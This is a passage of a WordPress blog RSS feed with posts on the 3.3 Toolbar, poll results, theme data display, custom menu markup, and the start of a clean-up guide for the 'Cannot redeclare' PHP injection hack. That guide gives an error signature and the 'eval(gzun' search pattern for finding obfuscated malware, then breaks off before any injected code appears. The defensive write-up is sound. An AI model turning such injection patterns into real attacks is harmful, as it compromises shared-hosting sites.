<p>Using the <a title="Admin Bar Tricks" href="http://digwp.com/2011/04/admin-bar-tricks/">many Admin Bar tricks</a> that became available around the Web, WordPress users dealt with the thing in their own way and moved on with their lives. Some use plugins, some custom snippets &amp; scripts, some just love it as-is. But now with the new 3.3 update, the <strong>big question</strong> is &#8220;what works and what doesn&#8217;t?&#8221; We&#8217;re glad you asked..</p>
<h3>Admin Bar is dead, long live the Toolbar</h3>
<p>If you&#8217;ve updated to <a href="http://codex.wordpress.org/Version_3.3">WP 3.3</a>, you&#8217;ve seen the smaller &#8220;Toolbar&#8221; tucked neat above the Admin area. The new <span style="text-decoration: line-through;">Admin Bar</span> Toolbar seems to address <em>some</em> of the main concerns about the old Admin Bar:</p>
<ul>
<li>No longer enabled on front-end by default</li>
<li>Uses less vertical screen space</li>
<li>Integrates the Admin header area, so no longer redundant</li>
<li>It looks a little better (in my opinion)</li>
</ul>
<p>For those who have not yet updated or have no idea what&#8217;s going on, here is a visual comparison of the old &#8220;Admin Bar&#8221; and the new &#8220;Toolbar&#8221;:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-admin-bar-01.jpg" alt="[ The 'old' WP Admin Bar ]" /><br />
<small><em>Admin Bar: bigger, clunkier, and redundant</em></small></p>
<p><img src="http://digwp.com/wp-content/blog-images/wordpress-toolbar-01.jpg" alt="[ The 'new' WP Toolbar ]" /><br />
<small><em>Toolbar: smaller, simpler, and required</em></small></p>
<p>The new Toolbar certainly looks better, but <a title="WP Forum &gt; Hiding admin bar in WordPress 3.3" href="http://wordpress.org/support/topic/hiding-admin-bar-in-wordpress-33">concerns remain</a>. From what I&#8217;ve gathered, the main gripe is that the Toolbar is <em>mandatory</em>, and possibly still redundant, depending on site setup and configuration (plugins, networks, etc.). Is it really <em>mandatory</em>? That sounds silly to me, but seems to be the case:</p>
<p><img src="http://digwp.com/wp-content/blog-images/wp-admin-bar.jpg" alt="[ The 'old' WP Admin Bar ]" /><br />
<small><em>User Profile settings for the old Admin Bar: full control</em></small></p>
<p><img src="http://digwp.com/wp-content/blog-images/wordpress-toolbar.jpg" alt="[ The 'new' WP Toolbar ]" /><br />
<small><em>User Profile settings for the Toolbar: bamboozled! No option to disable for back-end</em></small></p>
<p>So yeah, <em>something changed</em>, so the question for the Admin Toolbar is “<strong>what works and what doesn&#8217;t?</strong>” Let&#8217;s dig in and see what&#8217;s up..</p>
<h3>Admin Bar changes, now WP Toolbar</h3>
<p>As <a href="http://wordpress.org/support/topic/hiding-admin-bar-in-wordpress-33#post-2495448">Ipstenu puts it</a>: &#8220;You don&#8217;t have to like it, but it&#8217;s here to stay.&#8221; So it&#8217;s time to look at things practically and get on with it. First of all, if you have a plugin or functions script that hides, removes, or customizes the Admin Bar, definitely investigate to see if everything is still working according to plan.</p>
<h4>What works..</h4>
<p>After some testing, we&#8217;ve seen the following <code>functions.php</code> snippets continue to work in WordPress version 3.3:</p>
<pre><code>// disable the admin bar (front end only) show_admin_bar(false); // disable the admin bar (front end only) add_filter('show_admin_bar', '__return_false');</code></pre>
<p>In WP 3.1, these functions hid the Admin Bar on <em>both sides</em> of the fence — front end &amp; back end. In WP 3.3+, these snippets will hide the Admin Toolbar <strong>only on the front-end</strong> of your site (the public side). Likewise, this snippet of CSS added to your theme&#8217;s <code>style.css</code> file <em>hides</em> the Toolbar on the <em>front-end</em>:</p>
<pre><code>/* hide the admin bar (front end only) */ #wpadminbar { display:none; }</code></pre>
<p>Keep in mind that, when using the CSS method, the Toolbar markup is still present in the source code, but will not be displayed in the browser.</p>
<p>Here is another useful snippet for disabling the Toolbar for lesser users:</p>
<pre><code>// show admin bar only for admins if (!current_user_can('manage_options')) { add_filter('show_admin_bar', '__return_false'); } // show admin bar only for admins and editors if (!current_user_can('edit_posts')) { add_filter('show_admin_bar', '__return_false'); }</code></pre>
<p>Note that this also only applies to Toolbar display on the front-end.</p>
<h4>What doesn&#8217;t work..</h4>
<p>Basically the <code>show_admin_bar()</code> function seems to work as it did before version 3.3, except that now the Toolbar is integral to the Admin area, so disabling it using the previous functions works only on the front-end of your site. So tricks like this stopped working:</p>
<pre></pre>
<p>If you&#8217;re running WP 3.1+ or 3.2+ (not 3.3+), then <code>show_admin_bar()</code> will continue to disable the Admin Bar on both front and back ends of WordPress.</p>
<h3>Admin Bar plugins</h3>
<p>In our <a href="http://digwp.com/">book</a>, we provide a list of plugins to help with customizing the 3.1 Admin Bar. Now working on the <a href="http://digwp.com/2011/12/poll-results-book-news-and-more/">DiW 3.3 update</a>, it&#8217;s time to check these plugins for compatibility with <strong>WordPress 3.3</strong>. Here are the results:</p>
<ul>
<li><a href="http://wordpress.org/extend/plugins/admin-bar/">Admin Bar Remover</a> — disables Toolbar on front-end only</li>
<li><a href="http://wordpress.org/extend/plugins/wp-admin-bar-removal/">Admin Bar Removal</a> — doesn&#8217;t work in WP 3.3+</li>
<li><a href="http://wordpress.org/extend/plugins/admin-bar-disabler/">Admin Bar Disabler</a> — disables Toolbar on front-end only</li>
<li><a href="http://wordpress.org/extend/plugins/admin-bar-minimiser/">Admin Bar Minimiser</a> — hides/minimizes Toolbar on both sides of WP 3.3, but looks weird because of the existing Admin design. Also, in the Admin the hover/toggle button is <a href="http://digwp.com/wp-content/blog-images/wordpress-toolbar-02.jpg">invisible</a>.</li>
<li><a href="http://wordpress.org/extend/plugins/global-admin-bar-hide-or-remove/">Global Hide/Remove Admin Bar Plugin</a> — removes the User Profile Toolbar settings and removes Toolbar on front-end only</li>
<li><a href="http://wordpress.org/extend/plugins/hide-admin-bar-search/">Hide Admin Bar Search</a> — there is no search bar in WP 3.3</li>
<li><a href="http://wordpress.org/extend/plugins/stick-admin-bar-to-bottom/">Stick Admin Bar To Bottom</a> — works great on both sides of WP 3.3</li>
<li><a href="http://wordpress.org/extend/plugins/wp-custom-admin-bar/">WP Custom Admin Bar</a> — didn&#8217;t seem to work..</li>
<li><a href="http://blog.ftwr.co.uk/archives/2011/01/05/always-show-admin-bar/">Always show admin bar</a> — works in 3.3 but applies only to front-end</li>
<li><strong>Update:</strong> <a href="http://wordpress.org/extend/plugins/ultimate-admin-bar/">Ultimate Admin Bar</a> — puts it <em>all</em> in the Toolbar to further optimize your workflow</li>
</ul>
<p>If you know of others, shout em out and I&#8217;ll update the post.</p>
<h3>To be continued..</h3>
<p>Without a doubt things will continue to change, and it&#8217;ll be fun watching as WordPress continues to evolve, Toolbar and all :)</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2012/01/goodbye-admin-bar-hello-toolbar/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>

	</item>
	
	<item>
		<title>Poll Results, Book News, and More!</title>
		<link>http://digwp.com/2011/12/poll-results-book-news-and-more/</link>
		<comments>http://digwp.com/2011/12/poll-results-book-news-and-more/#comments</comments>
		<pubDate>Mon, 26 Dec 2011 23:20:48 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[book]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[polls]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5498</guid>

		<description><![CDATA[We&#8217;ve had several polls going in the DigWP.com sidebar for quite some time now, and it&#8217;s been interesting watching the trends change over time. The first and longest ongoing poll is HTML or XHTML for Markup?, which now has over 7,000 votes. HTML or XHTML for Markup? When the poll started in April 2010, the [...]]]></description>
	
		<content:encoded><![CDATA[<p>We&#8217;ve had several polls going in the DigWP.com sidebar for quite some time now, and it&#8217;s been interesting watching the trends change over time. The first and longest ongoing poll is <a href="http://digwp.com/2010/04/poll-html-or-xhtml-for-markup/">HTML or XHTML for Markup?</a>, which now has over 7,000 votes. </p>
<p><span id="more-5498"></span></p>
<h3>HTML or XHTML for Markup?</h3>
<p>When the poll started in April 2010, the results were tied closely between HTML5 and XHTML 1.0, and it stayed that way through most of 2010 and into this year. Over the course of 2011, HTML5 has clearly pulled ahead as the winner, with 33% of all votes.</p>
<p><img src="http://digwp.com/wp-content/blog-images/2011-poll-results-markup.jpg" alt="[ Poll results: HTML vs XHTML ]" /></p>
<p>I think it&#8217;s great to see HTML5 continue to hit the mainstream, a trend that will hopefully continue into the New Year. We&#8217;re gonna let this poll ride on and will report back later to see what&#8217;s up.</p>
<h3>Love or Hate the WordPress Admin Bar?</h3>
<p>The next poll we opened up was all about the new <a href="http://digwp.com/2011/04/poll-love-hate-admin-bar/">Admin Bar</a> functionality included with WordPress 3.1. In addition to posting some useful <a href="http://digwp.com/2011/04/admin-bar-tricks/">Admin Bar Tricks</a>, we asked readers how they felt about the new WordPress Admin Bar. The results currently show more people &#8220;hating it&#8221; than &#8220;loving it&#8221;:</p>
<p><img src="http://digwp.com/wp-content/blog-images/2011-poll-results-admin-bar.jpg" alt="[ Poll results: Love or Hate the Admin Bar ]" /></p>
<p>These results have pretty much been consistent over time, with &#8220;Love it&#8221; finally pulling ahead of &#8220;Don&#8217;t care&#8221; within the past few months. You gotta keep in mind how utterly unscientific these types of polls are, but it&#8217;s also amusing to note that there is <em>no option</em> to disable the new, slimmer Admin Bar included in the WordPress 3.3 release.</p>
<h3>Best Caching Plugin for WordPress?</h3>
<p>Perhaps not as surprising for seasoned WordPress users, but our poll on the <a href="http://digwp.com/2011/05/best-caching-plugin-wordpress/">best caching plugin</a> for WordPress provides a useful look into what WP folk are using to cache their content, based on 2,465 votes so far.</p>
<p><img src="http://digwp.com/wp-content/blog-images/2011-poll-results-caching.jpg" alt="[ Poll results: Best Caching Plugin ]" /></p>
<p>So the top three caching plugins according these results are <strong>W3 Total Cache</strong> (45%), <strong>WP Super Cache</strong> (34%), and then <strong>Hyper Cache</strong> ties with &#8220;Other&#8221; at around 6% of votes. I&#8217;m thinking based on comments and feedback that the Other plugin people were voting for is <a href="http://wordpress.org/extend/plugins/quick-cache/">Quick Cache</a>. Let me know if there are others that should be mentioned.</p>
<h3>Guest authors wanted</h3>
<p>With everything going on, it&#8217;s a challenge to keep the sweet posts coming, so we&#8217;re opening the doors to guest authors. If you&#8217;re into WordPress and would like to share some WordPress knowledge with our growing audience, <a href="http://digwp.com/contact/">drop a line</a> to get started.</p>
<h3>News about the book..</h3>
<p>Print editions of the <em>current version</em> of <a href="http://digwp.com/book/">Digging into WordPress</a> are officially sold out. The plan is to update the book for WordPress 3.3 in January, release the PDF update, and then order a fresh batch of printed books. No idea about the cost of the new books at this point, but if at all possible will remain the same. This will be the <strong>9th</strong> major revision of the book, and if you already own a copy, the e-update is 100% free. We&#8217;ll set up a form to pre-order the book once everything is underway. Stay tuned!</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2011/12/poll-results-book-news-and-more/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>

	</item>
	
	<item>
		<title>Displaying Theme Data with WordPress</title>
		<link>http://digwp.com/2011/12/displaying-theme-data-with-wordpress/</link>
		<comments>http://digwp.com/2011/12/displaying-theme-data-with-wordpress/#comments</comments>
		<pubDate>Wed, 14 Dec 2011 18:36:29 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Theme]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[tricks]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5457</guid>

		<description><![CDATA[A cool trick you can do with WordPress is display information directly from your theme&#8217;s style.css stylesheet. I recently used this on a site where the theme&#8217;s version number is used throughout the template to keep things current and consistent. get_theme_data() The function that makes it possible is called get_theme_data(), and it simply returns an [...]]]></description>
	
		<content:encoded><![CDATA[<p>A cool trick you can do with WordPress is display information directly from your theme&#8217;s <code>style.css</code> stylesheet. I recently used this on a site where the theme&#8217;s version number is used throughout the template to keep things current and consistent.</p>
<p><span id="more-5457"></span></p>
<h3>get_theme_data()</h3>
<p>The function that makes it possible is called <a href="http://codex.wordpress.org/Function_Reference/get_theme_data">get_theme_data()</a>, and it simply returns an array of information about any of your theme files. Here is how it&#8217;s used in your theme template:</p>
<pre><code>&lt;?php get_theme_data( $theme_filename ); ?&gt;</code></pre>
<p>So <code>$theme_filename</code> is required and should be the path and filename of your theme&#8217;s <code>style.css</code> file. There is no default value for this, so you need to ensure a proper value.</p>
<p>So what information can you display with <code>get_theme_data()</code>? The function returns an array of values that basically comprises the different meta items in your stylesheet. Here is a list of possible return values (all strings):</p>
<ul>
<li><code>Name</code> &ndash; theme name</li>
<li><code>Title</code> &ndash; either theme name or linked theme name</li>
<li><code>URI</code> &ndash; theme <abbr title="Uniform Resource Identifier">URI</abbr></li>
<li><code>Description</code> &ndash; wptexturized version of the theme name</li>
<li><code>AuthorURI</code> &ndash; theme author URI</li>
<li><code>Template</code> &ndash; theme parent template, if exists</li>
<li><code>Version</code> &ndash; theme version number</li>
<li><code>Status</code> &ndash; theme status (default: <code>publish</code>)</li>
<li><code>Tags</code> &ndash; theme tags</li>
<li><code>Author</code> &ndash; author name or linked author name</li>
</ul>
<p>Note that these return values are <strong>case-sensitive</strong> and will not work if the first letter is not capitalized.</p>
<h3>Examples</h3>
<p>The Codex provides this example for getting and displaying the theme <code>Name</code> and <code>Author</code>:</p>
<pre><code>&lt;?php

    /*
     * Assign theme folder name that you want to get information.
     * make sure theme exist in wp-content/themes/ folder.
     */

    $theme_name = 'twentyeleven'; 

   /*
    * Do not use get_stylesheet_uri() as $theme_filename,
    * it will result in PHP fopen error if allow_url_fopen is set to Off in php.ini,
    * which is what most shared hosting does. You can use get_stylesheet_directory()
    * or get_template_directory() though, because they return local paths.
    */

    $theme_data = get_theme_data( get_theme_root() . '/' . $theme_name . '/style.css' );
    echo $theme_data['Title'];
    echo $theme_data['Author'];

?&gt;</code></pre>
<p>This should get you going.. just copy/paste into your theme template and indicate the theme name in that first line of code. Displaying other bits of theme data is matter of editing/replicating those last two lines. </p>
<p>Once you see how it works, you can do cool stuff with it, like display your theme&#8217;s version number sort of globally throughout your site. I&#8217;m using this technique to append version parameters to my stylesheet <abbr title="Uniform Resource Locator">URL</abbr>s, like so:</p>
<pre><code>&lt;link rel="stylesheet" href="&lt;?php bloginfo('stylesheet_directory'); ?&gt;/style.css&lt;?php if(function_exists('theme_version')) theme_version(); ?&gt;"&gt;</code></pre>
<p>..and the output markup looks like this (notice the appended version parameter, <code>?v=1.3</code>):</p>
<pre><code>&lt;link rel="stylesheet" href="http://example.com/wp-content/themes/xycss/style.css?v=1.3"&gt;</code></pre>
<p>Because I am using multiple stylesheets, this method really saves a LOT of time trying to keep track of everything. Here is the <code>theme_version()</code> function that goes in your theme&#8217;s <code>functions.php</code> file:</p>
<pre><code>// display version number
function theme_version() {
    $theme_name = 'xycss'; // customize with your theme name
    $theme_data = get_theme_data( get_theme_root() . '/' . $theme_name . '/style.css' );
    echo '?v=' . $theme_data['Version'];
}</code></pre>
<p>And with a few modifications, you can also display your theme&#8217;s information in your posts and pages via <strong>shortcode</strong>:</p>
<pre><code>// version number shortcode
function theme_version_shortcode() {
    $theme_name = 'xycss'; // customize with your theme name
    $theme_data = get_theme_data( get_theme_root() . '/' . $theme_name . '/style.css' );
    return $theme_data['Version'];
}
add_shortcode('theme_version', 'theme_version_shortcode');</code></pre>
<p>With that second snippet in your <code>functions.php</code> file, displaying your theme info directly in pages is as easy as writing this:</p>
<p><code>[theme_version]</code></p>
<p>..and the output:</p>
<p><code>1.3</code></p>
<p>It&#8217;s pretty cool stuff, and I&#8217;m sure there&#8217;s tons more you can do with it too. If you know any tricks or tips, please share in the comments, Thanks :)</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2011/12/displaying-theme-data-with-wordpress/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>

	</item>
	
	<item>
		<title>HTML Formatting for Custom Menus</title>
		<link>http://digwp.com/2011/11/html-formatting-custom-menus/</link>
		<comments>http://digwp.com/2011/11/html-formatting-custom-menus/#comments</comments>
		<pubDate>Mon, 28 Nov 2011 18:09:42 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Design]]></category>
		<category><![CDATA[XHTML]]></category>
		<category><![CDATA[functions]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[menu]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5440</guid>

		<description><![CDATA[For some projects, it&#8217;s nice to output clean, well-formatted markup. Using theme template files enables great control over most of your (X)HTML formatting, but not so much for automated functionality involving stuff like widgets and custom menus. One of my current projects requires clean, semantic HTML markup for all web pages, but also takes advantage [...]]]></description>
	
		<content:encoded><![CDATA[<p>For some projects, it&#8217;s nice to output clean, well-formatted markup. Using theme template files enables great control over most of your (X)HTML formatting, but not so much for automated functionality involving stuff like widgets and custom menus. One of my current projects requires clean, semantic HTML markup for all web pages, but also takes advantage of WordPress&#8217; custom-menu functionality to make things easy. In this <abbr title="Digging into WordPress">DiW</abbr> article, we&#8217;ll see how to enjoy both: WordPress custom menus <em>and</em> clean, well-formatted HTML markup.</p>
<p><span id="more-5440"></span></p>
<h3>Customizing HTML displayed with wp_nav_menu()</h3>
<p>By default, <a href="http://digwp.com/2010/08/using-menus-in-wordpress-3-0/" title="Using Menus in WordPress 3.0">WordPress custom menus</a> are displayed in your theme template using the <a href="http://codex.wordpress.org/Function_Reference/wp_nav_menu">wp_nav_menu</a> function, which by default outputs markup that looks like this:</p>
<pre><code>&lt;div class="menu-test-container"&gt;&lt;ul id="menu-test" class="menu"&gt;&lt;li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</code></pre>
<p>That&#8217;s a <em>mess</em> of <code>class</code> and <code>id</code> attributes, plus an extra <code>&lt;div&gt;</code> container to boot. Fortunately, the <code>wp_nav_menu()</code> provides some useful parameters for customizing the display of your custom navigation menus. Here is a list of the <em>default parameters</em>:</p>
<pre><code>&lt;?php $defaults = array(
  'theme_location'  =&gt; ,
  'menu'            =&gt; , 
  'container'       =&gt; 'div', 
  'container_class' =&gt; 'menu-{menu slug}-container', 
  'container_id'    =&gt; ,
  'menu_class'      =&gt; 'menu', 
  'menu_id'         =&gt; ,
  'echo'            =&gt; true,
  'fallback_cb'     =&gt; 'wp_page_menu',
  'before'          =&gt; ,
  'after'           =&gt; ,
  'link_before'     =&gt; ,
  'link_after'      =&gt; ,
  'items_wrap'      =&gt; '&lt;ul id=\"%1$s\" class=\"%2$s\"&gt;%3$s&lt;/ul&gt;',
  'depth'           =&gt; 0,
  'walker'          =&gt; );
?&gt;</code></pre>
<p>Of these parameters, <code>$container</code> lets you specify how to wrap the <code>&lt;ul&gt;</code> element, using either <code>'div'</code>, <code>'nav'</code>, or <code>false</code>. So by specifying <code>false</code> for the <code>$container</code> parameter, we can simplify markup by removing the <code>&lt;div&gt;</code> container. The <code>wp_nav_menu</code> function also provides two more optional parameters for customizing menu markup:</p>
<ul>
<li><code>$items_wrap</code> &ndash; &#8220;Whatever to wrap the items with an ul, and how to wrap them with&#8221; (source: WP Codex)</li>
<li><code>$walker</code> &ndash; &#8220;Custom walker object to use (Note: You must pass an actual object to use, not a string)&#8221; (source: WP Codex)</li>
</ul>
<p>These <em>sound</em> useful, but I haven&#8217;t had much luck with either. The <code>$items_wrap</code> didn&#8217;t seem to do anything, but there are plenty of <a href="http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039">custom</a> <a href="http://erikshosting.com/wordpress-tips-code/building-a-wordpress-walker-creating-custom-dynamic-menu-outputs/">walker</a> <a href="http://benword.com/2011/how-to-hide-that-youre-using-wordpress/">scripts</a> available for further experimentation and customization. If you can get them to work properly, <strong>a custom walker provides complete control over custom-menu markup</strong> displayed with the <code>wp_nav_menu</code> tag. Unfortunately, I was unable to get very far with any of them, so I sought an alternate method..</p>
<h3>An alternative approach for custom markup</h3>
<p>After fiddling with a few of the various custom walkers, I decided to find an <em>easier way</em> to customize and format WordPress nav/menu markup. The walkers are fairly extensive and complex, and just seem like overkill for building a simple list of custom menu items. After some digging through the WordPress Codex, I found the <em>perfect</em> function for crafting squeaky-clean WordPress menus: <a href="http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items">wp_get_nav_menu_items</a>. As the name implies, <code>wp_get_nav_menu_items</code> returns the items from your custom navigation menus (as created in the WP Admin → Appearance → Menus panel). Thus, you can use this function to mark up your custom menus however you want. For my particular project, the desired format looks like this:</p>
<pre><code>&lt;nav&gt;
	&lt;ul&gt;
		&lt;li&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/nav&gt;</code></pre>
<p>Trying to do this with the commonly used <code>wp_nav_menu</code> function and a custom walker is possible, but it&#8217;s <em>much easier</em> building the menu structure from scratch, using only what&#8217;s required to make it happen. So alternately we use <code>wp_get_nav_menu_items</code> and begin with the <a href="http://codex.wordpress.org/Function_Reference/wp_get_nav_menu_items#Building_simple_menu_list">example function</a> provided at the Codex. After wrapping it in a <code>function</code> and customizing the output, we have the <code>clean_custom_menus()</code> function, ready for copy/paste into your theme&#8217;s <code>functions.php</code> file:</p>
<pre><code>// custom menu example @ http://digwp.com/2011/11/html-formatting-custom-menus/
function clean_custom_menus() {
	$menu_name = 'nav-primary'; // specify custom menu slug
	if (($locations = get_nav_menu_locations()) &amp;&amp; isset($locations[$menu_name])) {
		$menu = wp_get_nav_menu_object($locations[$menu_name]);
		$menu_items = wp_get_nav_menu_items($menu-&gt;term_id);

		$menu_list = '&lt;nav&gt;' ."\n";
		$menu_list .= "\t\t\t\t". '&lt;ul&gt;' ."\n";
		foreach ((array) $menu_items as $key =&gt; $menu_item) {
			$title = $menu_item-&gt;title;
			$url = $menu_item-&gt;url;
			$menu_list .= "\t\t\t\t\t". '&lt;li&gt;&lt;a href="'. $url .'"&gt;'. $title .'&lt;/a&gt;&lt;/li&gt;' ."\n";
		}
		$menu_list .= "\t\t\t\t". '&lt;/ul&gt;' ."\n";
		$menu_list .= "\t\t\t". '&lt;/nav&gt;' ."\n";
	} else {
		// $menu_list = '&lt;!-- no list defined --&gt;';
	}
	echo $menu_list;
}</code></pre>
<p>After placing in your <code>functions.php</code> file, you can call the function and display your custom menus anywhere in your theme by calling it directly:</p>
<p><code>&lt;?php if (function_exists(clean_custom_menus())) clean_custom_menus(); ?&gt;</code></p>
<p>Then, you can customize the <code>clean_custom_menus()</code> function as follows:</p>
<ol>
<li><strong>Line 3:</strong> specify your custom-menu slug</li>
<li><strong>Lines 8 thru 15:</strong> customize markup, tabs, and line breaks as needed</li>
<li><strong>Line 17:</strong> uncomment <code>else</code> condition and customize if needed</li>
</ol>
<p>For lines 8-15, anything is possible &ndash; you can include whatever list items, markup, and attributes required. Additionally, you can tab and indent markup to line up with page markup using <code>\n</code> for a new line and <code>\t</code> for a tab space. The fastest, easiest way to use this function is to copy/paste into your theme and then check out your list markup. For example, if the nav list is too far to the left, add some more tabs. You can also add <code>class</code> and <code>id</code> attributes, include custom items, and even manipulate which list items are displayed (<code>$url</code>, <code>$title</code>, etc.). After a little fine-tuning, <strong>the <code>wp_get_nav_menu_items()</code> function enables clean, well-formatted markup for your custom menus</strong>.</p>
<h3>Quick Summary</h3>
<p>In this article, we explain two ways to clean up and customize WordPress&#8217; custom-menu markup. Either of these methods will take your code from this:</p>
<pre><code>&lt;div class="menu-test-container"&gt;&lt;ul id="menu-test" class="menu"&gt;&lt;li id="menu-item-6" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-6"&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-7" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-7"&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-8" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-8"&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
&lt;li id="menu-item-9" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-9"&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;</code></pre>
<p>..to this:</p>
<pre><code>&lt;nav&gt;
	&lt;ul&gt;
		&lt;li&gt;&lt;a href="http://example.com/"&gt;Home&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/demos/"&gt;Demos&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/downloads/"&gt;Downloads&lt;/a&gt;&lt;/li&gt;
		&lt;li&gt;&lt;a href="http://example.com/docs/"&gt;Documentation&lt;/a&gt;&lt;/li&gt;
	&lt;/ul&gt;
&lt;/nav&gt;</code></pre>
<p>..or whatever HTML structure that&#8217;s required. You can achieve this with either of these methods:</p>
<ul>
<li>Combine <code>wp_nav_menu()</code> with a custom walker class</li>
<li>Combine <code>wp_get_nav_menu_items()</code> with the <code>clean_custom_menus()</code> function</li>
</ul>
<p>As usual, if you know of better ways of doing something, please share in the comments! Thanks for reading Digging into WordPress :)</p>
]]></content:encoded>
	
		<wfw:commentRss>http://digwp.com/2011/11/html-formatting-custom-menus/feed/</wfw:commentRss>
		<slash:comments>42</slash:comments>

	</item>
	
	<item>
		<title>Clean Up &#8220;Cannot redeclare&#8221; Hack</title>
		<link>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/</link>
		<comments>http://digwp.com/2011/11/clean-up-cannot-redeclare-hack/#comments</comments>
		<pubDate>Fri, 18 Nov 2011 22:44:09 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">http://digwp.com/?p=5411</guid>

		<description><![CDATA[One of my clients was hacked with the so-called &#8220;Cannot redeclare&#8221; hack. It seems closely related to the nefarious TimThumb hack, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect shared servers, so if you host multiple WordPress sites, chances are high that they&#8217;re [...]]]></description>
	
		<content:encoded><![CDATA[<p>One of my clients was hacked with the so-called <a href="http://www.victorciobanu.com/how-to-remove-cannot-redeclare/">&#8220;Cannot redeclare&#8221; hack</a>. It seems closely related to the nefarious <a href="http://blog.sucuri.net/2011/10/timthumb-php-mass-infection-aftermath-part-i.html">TimThumb hack</a>, so if you&#8217;ve been hit by either of these hacks, you should check for the other. Apparently these hacks affect <strong>shared servers</strong>, so if you host <em>multiple</em> WordPress sites, chances are high that they&#8217;re <em>all</em> infected.</p>
<p><span id="more-5411"></span></p>
<h3>Checking for the &#8220;Cannot redeclare&#8221; hack</h3>
<p>The good news is that the hack is easy to diagnose. Just open any page from your site and look for the following PHP error message:</p>
<pre><code>Fatal error: Cannot redeclare _765258526() 
(previously declared in /path/to/www/wp-content/themes/THEME/footer.php(12) 
: eval()'d code:1) in /path/to/www/index.php(18) 
: eval()'d code on line 1</code></pre>
<p>PHP errors like this are usually located at the bottom of the web page, but may appear elsewhere or even not all in some cases (i.e., proper configuration). To be certain, scan your server&#8217;s PHP error logs for the &#8220;Cannot redeclare&#8221; error string. If you find anything that matches, it&#8217;s time to fix your site..</p>
<h3>About the &#8220;Cannot redeclare&#8221; hack</h3>
<p>If your site&#8217;s been hit with &#8220;Cannot redeclare&#8221;, you&#8217;re in for a wild clean-up party because it infects <em>every</em> <code>index.php</code> and <code>footer.php</code> file for <em>every</em> WordPress site on the server. </p>
<p>For example, my client hosted 11 sites on the same shared account, so multiply that by the number of index and footer files used by WordPress (core files and themes) and you get over 200 hacked files to clean up. Needless to say the client&#8217;s sites have been moved to a more secure location.</p>
<p>Fortunately finding the hacked index files is relatively painless, just search all files on your server for the following phrase:</p>
<p><strong><code>eval(gzun</code></strong></p>
<p>Here is a screenshot showing search results for this phrase:</p>
<p><img src="http://digwp.com/wp-content/blog-images/cannot-redeclare-01.gif" alt="[ screenshot of search results ]" /></p>
<p>As seen here, the hacked files should be easy to recognize because they:</p>
<ul>
<li>include the <code>eval(gzun</code> search term</li>
<li>include long strings of encoded gibberish</li>
<li>consist of <code>index.php</code> and <code>footer.php</code> files</li>
</ul>
<p>If your search turns up anything that similar but not quite what we&#8217;re talking about here, it may or may not be legit. The main thing that we&#8217;re looking for are the <em>long strings of encoded nonsense</em>. Also, remember to check <em>all</em> sites that you may have on the same server. Once you&#8217;ve isolated the infected files, it&#8217;s time to clean &#8216;em up..</p>
<h3>Removing the &#8220;Cannot redeclare&#8221; hack</h3>
<p>Looking at any of the hacked files, you&#8217;ll find this hideous looking piece of code garbage:</p>
